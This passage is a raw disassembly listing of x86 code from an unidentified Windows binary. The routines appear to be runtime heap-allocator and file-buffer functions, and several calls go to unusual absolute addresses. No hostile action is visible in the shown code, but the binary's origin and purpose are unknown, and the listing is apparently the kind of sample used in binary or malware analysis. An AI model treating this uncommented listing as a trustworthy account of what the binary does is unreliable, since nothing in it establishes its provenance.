jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A9C0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A9B0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DCFE4 nop call near ptr 27E0000h mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A9B0 cmp esi, eax jnz short loc_41EA06 cmp off_43A9B0, 0 jnz short loc_41E9F6 mov off_43A9B0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A9B4, 0 jnz short loc_41EA1B mov off_43A9B4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A9B4 mov [esi+4], eax mov off_43A9B4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 28F05D9h loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A9B0 jz short loc_41EAB3 push esi push 0 push dword_4DCFE4 nop call near ptr 27D0000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] call near ptr 28F05D9h nop cmp off_43C9D0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C9D0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A9B0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DCFE4 nop call near ptr 27D0000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A9C0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A9B4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax call near ptr 28F05D9h nop test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB9D4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A9B4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A9B0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB9D4 cmp dword_4DB9D4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C9D0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C9D0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C9D0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A9B0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 28F06FDh cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C9D0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C9D0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DCCA0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43D030 loc_41F0C9: ; CODE XREF: sub_41F043+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F0DB or dh, 20h mov [esi+0Ch], edx loc_41F0DB: ; CODE XREF: sub_41F043+62j ; sub_41F043+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F0F8 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F0F8 test ch, 4 jnz short loc_41F0F8 mov dword ptr [esi+18h], 1000h loc_41F0F8: ; CODE XREF: sub_41F043+9Fj ; sub_41F043+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and 